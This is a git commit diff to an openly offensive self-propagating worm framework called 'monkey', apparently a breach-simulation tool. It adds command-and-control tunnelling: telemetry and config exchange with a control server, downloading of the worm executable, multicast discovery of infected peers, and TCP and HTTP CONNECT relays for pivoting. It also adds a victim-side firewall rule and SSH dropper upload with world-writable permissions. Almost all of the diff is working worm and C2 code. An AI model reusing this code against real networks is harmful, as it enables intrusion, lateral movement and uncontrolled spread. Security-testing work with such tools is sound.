forked from p15670423/monkey
parent
ef6474f7b6
commit
edc0f5fdf3
|
@ -8,6 +8,9 @@ import monkeyfs
|
|||
from network.info import local_ips
|
||||
from socket import gethostname, gethostbyname_ex
|
||||
from config import WormConfiguration, Configuration, GUID
|
||||
from transport.tcp import TcpProxy
|
||||
from transport.http import HTTPConnectProxy
|
||||
import tunnel
|
||||
|
||||
__author__ = 'hoffer'
|
||||
|
||||
|
@ -17,6 +20,7 @@ LOG = logging.getLogger(__name__)
|
|||
DOWNLOAD_CHUNK = 1024
|
||||
|
||||
class ControlClient(object):
|
||||
proxies = {}
|
||||
|
||||
@staticmethod
|
||||
def wakeup(parent=None):
|
||||
|
@ -33,27 +37,49 @@ class ControlClient(object):
|
|||
'ip_addresses' : local_ips(),
|
||||
'description' : " ".join(platform.uname()),
|
||||
'config' : WormConfiguration.as_dict(),
|
||||
'parent' : parent
|
||||
'parent' : parent,
|
||||
}
|
||||
|
||||
if ControlClient.proxies:
|
||||
monkey['tunnel'] = ControlClient.proxies.get('https')
|
||||
|
||||
reply = requests.post("https://%s/api/monkey" % (server,),
|
||||
data=json.dumps(monkey),
|
||||
headers={'content-type' : 'application/json'},
|
||||
verify=False)
|
||||
verify=False,
|
||||
proxies=ControlClient.proxies)
|
||||
|
||||
break
|
||||
|
||||
except Exception, exc:
|
||||
WormConfiguration.current_server = ''
|
||||
LOG.warn("Error connecting to control server %s: %s",
|
||||
server, exc)
|
||||
|
||||
if not WormConfiguration.current_server:
|
||||
if not ControlClient.proxies:
|
||||
LOG.info("Starting tunnel lookup...")
|
||||
proxy_find = tunnel.find_tunnel()
|
||||
if proxy_find:
|
||||
LOG.info("Found tunnel at %s:%s" % proxy_find)
|
||||
ControlClient.proxies['https'] = 'https://%s:%s' % proxy_find
|
||||
ControlClient.wakeup(parent)
|
||||
else:
|
||||
LOG.info("No tunnel found")
|
||||
|
||||
@staticmethod
|
||||
def keepalive():
|
||||
if not WormConfiguration.current_server:
|
||||
return
|
||||
try:
|
||||
monkey = {}
|
||||
if ControlClient.proxies:
|
||||
monkey['tunnel'] = ControlClient.proxies.get('https')
|
||||
reply = requests.patch("https://%s/api/monkey/%s" % (WormConfiguration.current_server, GUID),
|
||||
data=json.dumps({}),
|
||||
data=json.dumps(monkey),
|
||||
headers={'content-type' : 'application/json'},
|
||||
verify=False)
|
||||
verify=False,
|
||||
proxies=ControlClient.proxies)
|
||||
except Exception, exc:
|
||||
LOG.warn("Error connecting to control server %s: %s",
|
||||
WormConfiguration.current_server, exc)
|
||||
|
@ -61,12 +87,15 @@ class ControlClient(object):
|
|||
|
||||
@staticmethod
|
||||
def send_telemetry(tele_type='general',data=''):
|
||||
if not WormConfiguration.current_server:
|
||||
return
|
||||
try:
|
||||
telemetry = {'monkey_guid': GUID, 'telem_type': tele_type, 'data' : data}
|
||||
reply = requests.post("https://%s/api/telemetry" % (WormConfiguration.current_server,),
|
||||
data=json.dumps(telemetry),
|
||||
headers={'content-type' : 'application/json'},
|
||||
verify=False)
|
||||
verify=False,
|
||||
proxies=ControlClient.proxies)
|
||||
|
||||
except Exception, exc:
|
||||
LOG.warn("Error connecting to control server %s: %s",
|
||||
|
@ -74,8 +103,12 @@ class ControlClient(object):
|
|||
|
||||
@staticmethod
|
||||
def load_control_config():
|
||||
if not WormConfiguration.current_server:
|
||||
return
|
||||
try:
|
||||
reply = requests.get("https://%s/api/monkey/%s" % (WormConfiguration.current_server, GUID), verify=False)
|
||||
reply = requests.get("https://%s/api/monkey/%s" % (WormConfiguration.current_server, GUID),
|
||||
verify=False,
|
||||
proxies=ControlClient.proxies)
|
||||
|
||||
except Exception, exc:
|
||||
LOG.warn("Error connecting to control server %s: %s",
|
||||
|
@ -90,11 +123,13 @@ class ControlClient(object):
|
|||
|
||||
@staticmethod
|
||||
def download_monkey_exe(host):
|
||||
if not WormConfiguration.current_server:
|
||||
return None
|
||||
try:
|
||||
reply = requests.post("https://%s/api/monkey/download" % (WormConfiguration.current_server,),
|
||||
data=json.dumps(host.as_dict()),
|
||||
headers={'content-type' : 'application/json'},
|
||||
verify=False)
|
||||
verify=False, proxies=ControlClient.proxies)
|
||||
|
||||
if 200 == reply.status_code:
|
||||
result_json = reply.json()
|
||||
|
@ -107,7 +142,9 @@ class ControlClient(object):
|
|||
return dest_file
|
||||
else:
|
||||
download = requests.get("https://%s/api/monkey/download/%s" % (WormConfiguration.current_server, filename),
|
||||
verify=False)
|
||||
verify=False,
|
||||
proxies=ControlClient.proxies)
|
||||
|
||||
with monkeyfs.open(dest_file, 'wb') as file_obj:
|
||||
for chunk in download.iter_content(chunk_size=DOWNLOAD_CHUNK):
|
||||
if chunk:
|
||||
|
@ -122,3 +159,25 @@ class ControlClient(object):
|
|||
|
||||
return None
|
||||
|
||||
|
||||
@staticmethod
|
||||
def create_control_tunnel():
|
||||
if not WormConfiguration.current_server:
|
||||
return None
|
||||
|
||||
my_proxy = ControlClient.proxies.get('https', '').replace('https://', '')
|
||||
if my_proxy:
|
||||
proxy_class = TcpProxy
|
||||
try:
|
||||
target_addr, target_port = my_proxy.split(':', 1)
|
||||
target_port = int(target_port)
|
||||
except:
|
||||
return None
|
||||
else:
|
||||
proxy_class = HTTPConnectProxy
|
||||
target_addr, target_port = None, None
|
||||
|
||||
return tunnel.MonkeyTunnel(proxy_class, target_addr=target_addr, target_port=target_port)
|
||||
|
||||
|
||||
|
||||
|
|
|
@ -243,6 +243,10 @@ class RdpExploiter(HostExploiter):
|
|||
# create server for http download.
|
||||
http_path, http_thread = HTTPTools.create_transfer(host, src_path)
|
||||
|
||||
if not http_path:
|
||||
LOG.debug("Exploiter RdpGrinder failed, http transfer creation failed.")
|
||||
return False
|
||||
|
||||
if self._config.rdp_use_vbs_download:
|
||||
command = RDP_CMDLINE_HTTP_VBS % {'monkey_path': self._config.dropper_target_path, 'http_path' : http_path}
|
||||
else:
|
||||
|
|
|
@ -6,17 +6,25 @@ from exploit import HostExploiter
|
|||
from model import MONKEY_ARG
|
||||
from exploit.tools import get_target_monkey
|
||||
from network.tools import check_port_tcp
|
||||
import time
|
||||
|
||||
__author__ = 'hoffer'
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
SSH_PORT = 22
|
||||
TRANSFER_UPDATE_RATE = 15
|
||||
|
||||
class SSHExploiter(HostExploiter):
|
||||
_target_os_type = ['linux', None]
|
||||
|
||||
def __init__(self):
|
||||
self._config = __import__('config').WormConfiguration
|
||||
self._update_timestamp = 0
|
||||
|
||||
def log_transfer(self, transferred, total):
|
||||
if time.time() - self._update_timestamp > TRANSFER_UPDATE_RATE:
|
||||
LOG.debug("SFTP transferred: %d bytes, total: %d bytes", transferred, total)
|
||||
self._update_timestamp = time.time()
|
||||
|
||||
def exploit_host(self, host, src_path=None):
|
||||
ssh = paramiko.SSHClient()
|
||||
|
@ -45,7 +53,8 @@ class SSHExploiter(HostExploiter):
|
|||
ssh.connect(host.ip_addr,
|
||||
username=self._config.ssh_user,
|
||||
password=password,
|
||||
port=port)
|
||||
port=port,
|
||||
timeout=None)
|
||||
|
||||
LOG.debug("Successfully logged in %r using SSH (%s : %s)",
|
||||
host, self._config.ssh_user, password)
|
||||
|
@ -95,8 +104,9 @@ class SSHExploiter(HostExploiter):
|
|||
try:
|
||||
ftp = ssh.open_sftp()
|
||||
|
||||
self._update_timestamp = time.time()
|
||||
with monkeyfs.open(src_path) as file_obj:
|
||||
ftp.putfo(file_obj, self._config.dropper_target_path_linux, file_size=monkeyfs.getsize(src_path))
|
||||
ftp.putfo(file_obj, self._config.dropper_target_path_linux, file_size=monkeyfs.getsize(src_path), callback=self.log_transfer)
|
||||
ftp.chmod(self._config.dropper_target_path_linux, 0777)
|
||||
|
||||
ftp.close()
|
||||
|
|
|
@ -97,7 +97,7 @@ def main():
|
|||
if WormConfiguration.serialize_config:
|
||||
with open(config_file, 'w') as config_fo:
|
||||
json_dict = WormConfiguration.as_dict()
|
||||
json.dump(json_dict, config_fo)
|
||||
json.dump(json_dict, config_fo, skipkeys=True, sort_keys=True, indent=4, separators=(',', ': '))
|
||||
|
||||
return True
|
||||
finally:
|
||||
|
|
|
@ -4,9 +4,11 @@ import time
|
|||
import logging
|
||||
import platform
|
||||
from system_singleton import SystemSingleton
|
||||
from network.firewall import app as firewall
|
||||
from control import ControlClient
|
||||
from config import WormConfiguration, EXTERNAL_CONFIG_FILE
|
||||
from network.network_scanner import NetworkScanner
|
||||
import tunnel
|
||||
import getopt
|
||||
|
||||
__author__ = 'itamar'
|
||||
|
@ -46,16 +48,20 @@ class ChaosMonkey(object):
|
|||
self._keep_running = True
|
||||
self._network = NetworkScanner()
|
||||
self._dropper_path = sys.argv[0]
|
||||
self._os_type = platform.system().lower()
|
||||
self._machine = platform.machine().lower()
|
||||
|
||||
ControlClient.wakeup(self._parent)
|
||||
ControlClient.load_control_config()
|
||||
|
||||
|
||||
def start(self):
|
||||
LOG.info("WinWorm is running...")
|
||||
|
||||
if firewall.is_enabled():
|
||||
firewall.add_firewall_rule()
|
||||
|
||||
ControlClient.wakeup(self._parent)
|
||||
|
||||
monkey_tunnel = ControlClient.create_control_tunnel()
|
||||
if monkey_tunnel:
|
||||
monkey_tunnel.start()
|
||||
|
||||
for _ in xrange(WormConfiguration.max_iterations):
|
||||
ControlClient.keepalive()
|
||||
ControlClient.load_control_config()
|
||||
|
@ -136,7 +142,18 @@ class ChaosMonkey(object):
|
|||
if self._keep_running:
|
||||
LOG.info("Reached max iterations (%d)", WormConfiguration.max_iterations)
|
||||
|
||||
if monkey_tunnel:
|
||||
monkey_tunnel.stop()
|
||||
monkey_tunnel.join()
|
||||
|
||||
def cleanup(self):
|
||||
self._keep_running = False
|
||||
|
||||
self._singleton.unlock()
|
||||
|
||||
tunnel_address = ControlClient.proxies.get('https', '').replace('https://', '').split(':')[0]
|
||||
if tunnel_address:
|
||||
LOG.info("Quitting tunnel %s", tunnel_address)
|
||||
tunnel.quit_tunnel(tunnel_address)
|
||||
|
||||
firewall.close()
|
||||
|
|
|
@ -23,4 +23,5 @@ from ping_scanner import PingScanner
|
|||
from tcp_scanner import TcpScanner
|
||||
from smbfinger import SMBFinger
|
||||
from sshfinger import SSHFinger
|
||||
from info import local_ips
|
||||
from info import local_ips
|
||||
from info import get_free_tcp_port
|
|
@ -2,6 +2,8 @@ import sys
|
|||
import socket
|
||||
import struct
|
||||
import array
|
||||
import psutil
|
||||
from random import randint
|
||||
|
||||
__author__ = 'hoffer'
|
||||
|
||||
|
@ -39,4 +41,18 @@ else:
|
|||
result.append(addr)
|
||||
#name of interface is (namestr[i:i+16].split('\0', 1)[0]
|
||||
finally:
|
||||
return result
|
||||
return result
|
||||
|
||||
def get_free_tcp_port(min_range=1000, max_range=65535):
|
||||
start_range = min(1, min_range)
|
||||
max_range = min(65535, max_range)
|
||||
|
||||
in_use = [conn.laddr[1] for conn in psutil.net_connections()]
|
||||
|
||||
for i in range(min_range, max_range):
|
||||
port = randint(start_range, max_range)
|
||||
|
||||
if not port in in_use:
|
||||
return port
|
||||
|
||||
return None
|
|
@ -0,0 +1,13 @@
|
|||
from threading import Thread
|
||||
|
||||
class TransportProxyBase(Thread):
|
||||
def __init__(self, local_port, dest_host=None, dest_port=None, local_host=''):
|
||||
self.local_host = local_host
|
||||
self.local_port = local_port
|
||||
self.dest_host = dest_host
|
||||
self.dest_port = dest_port
|
||||
self._stopped = False
|
||||
super(TransportProxyBase, self).__init__()
|
||||
|
||||
def stop(self):
|
||||
self._stopped = True
|
|
@ -3,6 +3,10 @@ import shutil
|
|||
import struct
|
||||
import monkeyfs
|
||||
from logging import getLogger
|
||||
from base import TransportProxyBase
|
||||
from urlparse import urlsplit
|
||||
import select
|
||||
import socket
|
||||
|
||||
__author__ = 'hoffer'
|
||||
|
||||
|
@ -97,6 +101,51 @@ class FileServHTTPRequestHandler(BaseHTTPServer.BaseHTTPRequestHandler):
|
|||
format % args))
|
||||
|
||||
|
||||
class HTTPConnectProxyHandler(BaseHTTPServer.BaseHTTPRequestHandler):
|
||||
timeout = 2 # timeout with clients, set to None not to make persistent connection
|
||||
proxy_via = None # pseudonym of the proxy in Via header, set to None not to modify original Via header
|
||||
protocol_version = "HTTP/1.1"
|
||||
|
||||
def version_string(self):
|
||||
return ""
|
||||
|
||||
def do_CONNECT(self):
|
||||
# just provide a tunnel, transfer the data with no modification
|
||||
req = self
|
||||
reqbody = None
|
||||
req.path = "https://%s/" % req.path.replace(':443', '')
|
||||
|
||||
u = urlsplit(req.path)
|
||||
address = (u.hostname, u.port or 443)
|
||||
try:
|
||||
conn = socket.create_connection(address)
|
||||
except socket.error:
|
||||
self.send_error(504) # 504 Gateway Timeout
|
||||
return
|
||||
self.send_response(200, 'Connection Established')
|
||||
self.send_header('Connection', 'close')
|
||||
self.end_headers()
|
||||
|
||||
conns = [self.connection, conn]
|
||||
keep_connection = True
|
||||
while keep_connection:
|
||||
keep_connection = False
|
||||
rlist, wlist, xlist = select.select(conns, [], conns, self.timeout)
|
||||
if xlist:
|
||||
break
|
||||
for r in rlist:
|
||||
other = conns[1] if r is conns[0] else conns[0]
|
||||
data = r.recv(8192)
|
||||
if data:
|
||||
other.sendall(data)
|
||||
keep_connection = True
|
||||
conn.close()
|
||||
|
||||
def log_message(self, format, *args):
|
||||
LOG.debug("HTTPConnectProxyHandler: %s - - [%s] %s" % (self.address_string(),
|
||||
self.log_date_time_string(),
|
||||
format % args))
|
||||
|
||||
class InternalHTTPServer(BaseHTTPServer.HTTPServer):
|
||||
def handle_error(self, request, client_address):
|
||||
#ToDo: debug log error
|
||||
|
@ -136,4 +185,11 @@ class HTTPServer(threading.Thread):
|
|||
def stop(self, timeout=60):
|
||||
self._stopped = True
|
||||
self.join(timeout)
|
||||
|
||||
|
||||
class HTTPConnectProxy(TransportProxyBase):
|
||||
def run(self):
|
||||
httpd = InternalHTTPServer((self.local_host, self.local_port), HTTPConnectProxyHandler)
|
||||
httpd.timeout = 10
|
||||
|
||||
while not self._stopped:
|
||||
httpd.handle_request()
|
||||
|
|
|
@ -0,0 +1,76 @@
|
|||
import sys
|
||||
import socket
|
||||
import select
|
||||
import time
|
||||
from threading import Thread
|
||||
from base import TransportProxyBase
|
||||
from logging import getLogger
|
||||
|
||||
READ_BUFFER_SIZE = 8192
|
||||
DEFAULT_TIMEOUT = 10
|
||||
|
||||
LOG = getLogger(__name__)
|
||||
|
||||
class SocketsPipe(Thread):
|
||||
def __init__(self, source, dest, timeout=DEFAULT_TIMEOUT):
|
||||
Thread.__init__( self )
|
||||
self.source = source
|
||||
self.dest = dest
|
||||
self.timeout = timeout
|
||||
self._keep_connection = True
|
||||
super(SocketsPipe, self).__init__()
|
||||
|
||||
def run(self):
|
||||
sockets = [self.source, self.dest]
|
||||
while self._keep_connection:
|
||||
self._keep_connection = False
|
||||
rlist, wlist, xlist = select.select(sockets, [], sockets, self.timeout)
|
||||
if xlist:
|
||||
break
|
||||
for r in rlist:
|
||||
other = self.dest if r is self.source else self.source
|
||||
try:
|
||||
data = r.recv(READ_BUFFER_SIZE)
|
||||
except:
|
||||
break
|
||||
if data:
|
||||
try:
|
||||
other.sendall(data)
|
||||
except:
|
||||
break
|
||||
self._keep_connection = True
|
||||
|
||||
self.source.close()
|
||||
self.dest.close()
|
||||
|
||||
class TcpProxy(TransportProxyBase):
|
||||
|
||||
def run(self):
|
||||
pipes = []
|
||||
l_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
l_socket.bind((self.local_host, self.local_port))
|
||||
l_socket.settimeout(DEFAULT_TIMEOUT)
|
||||
l_socket.listen(5)
|
||||
|
||||
while not self._stopped:
|
||||
try:
|
||||
source, address = l_socket.accept()
|
||||
except socket.timeout:
|
||||
continue
|
||||
|
||||
try:
|
||||
dest = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
dest.connect((self.dest_host, self.dest_port))
|
||||
except socket.error, ex:
|
||||
source.close()
|
||||
dest.close()
|
||||
continue
|
||||
|
||||
pipe = SocketsPipe(source, dest)
|
||||
pipes.append(pipe)
|
||||
LOG.debug("piping sockets %s:%s->%s:%s", address[0], address[1], self.dest_host, self.dest_port)
|
||||
pipe.start()
|
||||
|
||||
l_socket.close()
|
||||
for pipe in pipes:
|
||||
pipe.join()
|
|
@ -0,0 +1,133 @@
|
|||
import socket
|
||||
import struct
|
||||
import logging
|
||||
from threading import Thread
|
||||
from network.info import local_ips, get_free_tcp_port
|
||||
from network.firewall import app as firewall
|
||||
from difflib import get_close_matches
|
||||
from network.tools import check_port_tcp
|
||||
import time
|
||||
|
||||
__author__ = 'hoffer'
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
|
||||
MCAST_GROUP = '224.1.1.1'
|
||||
MCAST_PORT = 5007
|
||||
BUFFER_READ = 1024
|
||||
DEFAULT_TIMEOUT = 10
|
||||
QUIT_TIMEOUT = 1200 #20 minutes
|
||||
|
||||
def _set_multicast_socket(timeout=DEFAULT_TIMEOUT):
|
||||
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP)
|
||||
sock.settimeout(timeout)
|
||||
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
|
||||
sock.bind(('', MCAST_PORT))
|
||||
sock.setsockopt(socket.IPPROTO_IP,
|
||||
socket.IP_ADD_MEMBERSHIP,
|
||||
struct.pack("4sl", socket.inet_aton(MCAST_GROUP), socket.INADDR_ANY))
|
||||
return sock
|
||||
|
||||
|
||||
def find_tunnel(attempts=3, timeout=DEFAULT_TIMEOUT):
|
||||
sock = _set_multicast_socket(timeout)
|
||||
|
||||
l_ips = local_ips()
|
||||
|
||||
for attempt in range(0, attempts):
|
||||
try:
|
||||
sock.sendto("?", (MCAST_GROUP, MCAST_PORT))
|
||||
answer, address = sock.recvfrom(BUFFER_READ)
|
||||
|
||||
while answer in ['?', '+', '-']:
|
||||
answer, address = sock.recvfrom(BUFFER_READ)
|
||||
|
||||
if answer.find(':') != -1:
|
||||
address, port = answer.split(':', 1)
|
||||
if address in l_ips:
|
||||
continue
|
||||
if not check_port_tcp(address, int(port)):
|
||||
continue
|
||||
|
||||
sock.sendto("+", (address, MCAST_PORT))
|
||||
sock.close()
|
||||
return (address, port)
|
||||
except:
|
||||
continue
|
||||
|
||||
return None
|
||||
|
||||
def quit_tunnel(address, timeout=DEFAULT_TIMEOUT):
|
||||
try:
|
||||
sock = _set_multicast_socket(timeout)
|
||||
sock.sendto("-", (address, MCAST_PORT))
|
||||
sock.close()
|
||||
LOG.debug("Success quitting tunnel")
|
||||
except Exception, exc:
|
||||
LOG.debug("Exception quitting tunnel: %s", exc)
|
||||
return
|
||||
|
||||
|
||||
class MonkeyTunnel(Thread):
|
||||
def __init__(self, proxy_class, target_addr=None, target_port=None, timeout=DEFAULT_TIMEOUT):
|
||||
self._target_addr = target_addr
|
||||
self._target_port = target_port
|
||||
self._proxy_class = proxy_class
|
||||
self._broad_sock = None
|
||||
self._timeout = timeout
|
||||
self._stopped = False
|
||||
self._clients = []
|
||||
super(MonkeyTunnel, self).__init__()
|
||||
|
||||
def run(self):
|
||||
self._broad_sock = _set_multicast_socket(self._timeout)
|
||||
|
||||
l_ips = local_ips()
|
||||
|
||||
local_port = get_free_tcp_port()
|
||||
|
||||
if not local_port:
|
||||
return
|
||||
|
||||
if not firewall.listen_allowed(localport=local_port):
|
||||
LOG.info("Machine firewalled, listen not allowed, not running tunnel.")
|
||||
return
|
||||
|
||||
proxy = self._proxy_class(local_port=local_port, dest_host=self._target_addr, dest_port=self._target_port)
|
||||
LOG.info("Running tunnel using proxy class: %s, on port %s", proxy.__class__.__name__, local_port)
|
||||
proxy.start()
|
||||
|
||||
while not self._stopped:
|
||||
try:
|
||||
search, address = self._broad_sock.recvfrom(BUFFER_READ)
|
||||
if '?' == search:
|
||||
ip_match = get_close_matches(address[0], l_ips) or l_ips
|
||||
if ip_match:
|
||||
answer = '%s:%d' % (ip_match[0], local_port)
|
||||
LOG.debug("Got tunnel request from %s, answering with %s", address[0], answer)
|
||||
self._broad_sock.sendto(answer, (MCAST_GROUP, MCAST_PORT))
|
||||
elif '+' == search:
|
||||
if not address[0] in self._clients:
|
||||
self._clients.append(address[0])
|
||||
elif '-' == search:
|
||||
self._clients = [client for client in self._clients if client != address[0]]
|
||||
|
||||
except socket.timeout:
|
||||
continue
|
||||
|
||||
LOG.info("Stopping tunnel, waiting for clients")
|
||||
stop_time = time.time()
|
||||
while self._clients and (time.time() - stop_time < QUIT_TIMEOUT):
|
||||
try:
|
||||
search, address = self._broad_sock.recvfrom(BUFFER_READ)
|
||||
if '-' == search:
|
||||
self._clients = [client for client in self._clients if client != address[0]]
|
||||
except socket.timeout:
|
||||
continue
|
||||
LOG.info("Closing tunnel")
|
||||
self._broad_sock.close()
|
||||
proxy.stop()
|
||||
proxy.join()
|
||||
|
||||
def stop(self):
|
||||
self._stopped = True
|
Loading…
Reference in New Issue